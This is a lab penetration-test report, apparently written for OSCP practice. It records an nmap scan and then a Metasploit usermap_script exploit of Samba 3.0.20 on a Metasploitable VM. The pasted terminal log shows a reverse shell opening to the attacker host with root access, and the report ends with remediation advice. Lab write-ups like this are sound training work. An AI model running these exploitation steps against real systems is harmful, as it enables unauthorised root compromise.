

OSCP Penetration Test Report

Target: 192.168.56.101

Attacker: Kali Linux 2025.2 (192.168.56.102)

Date: 2025-09-05

Recon

Nmap identified port 445 open running Samba 3.0.20:

```
nmap -sV -p 445 192.168.56.101 -oN nmap_samba_results.txt
```

Exploitation (Metasploit)

```
use exploit/multi/samba/usermap_script
set RHOST 192.168.56.101
set LHOST 192.168.56.102
exploit
```

Proof of Compromise

Successful exploitation resulted in a root shell:

```
whoami
root
```

```
uname -a
Linux metasploitable 2.6.24-16-server
```

Proof Screenshot

```
kali@kali: ~  
File Actions Edit View Help  
Overflow (Mac OS X PPC)  
71 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open  
Overflow (Solaris SPARC)  
72 \_ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . .  
73 \_ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . .  
74 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Samba 6 Search  
Results Buffer Overflow  
75 \_ target: Automatic . . .  
76 \_ target: Windows 2000 . . .  
77 \_ target: Windows XP . . .  
  
Interact with a module by name or index. For example info 77, use 77 or use exploit/windows/http/sambar6_search_results  
After interacting with a module you can manually set a TARGET with set TARGET 'Windows XP'  
  
msf6 > xploit/Interrupt: use the 'exit' command to quit  
msf6 > use exploit/multi/samba/usermap_script  
[*] No payload configured, defaulting to cmd/unix/reverse_netcat  
msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.56.101  
RHOST => 192.168.56.101  
msf6 exploit(multi/samba/usermap_script) > exploit  
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?  
[*] Started reverse TCP handler on 127.0.0.1:4444  
[*] Exploit completed, but no session was created.  
msf6 exploit(multi/samba/usermap_script) > whoami  
[*] exec: whoami  
  
kali  
msf6 exploit(multi/samba/usermap_script) > uname -a  
[*] exec: uname -a  
  
Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64 GNU/Linux  
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102  
LHOST => 192.168.56.102  
msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.56.101  
RHOST => 192.168.56.101  
msf6 exploit(multi/samba/usermap_script) > exploit  
[*] Started reverse TCP handler on 192.168.56.102:4444  
[*] Command shell session 1 opened (192.168.56.102:4444 -> 192.168.56.101:38616) at 2025-09-05 08:50:10 -0400  
  
whoami  
root  
uname -a  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux  
id  
uid=0(root) gid=0(root)
```

Artifacts

- Nmap results saved in: nmap_samba_results.txt
- SMB enumeration saved in: smb_enum_results.txt
- Proof screenshot: proof.samba.png

Remediation

Upgrade Samba to a secure version ($\geq 3.0.25$). Disable anonymous access where not required. Enforce strong authentication for SMB services.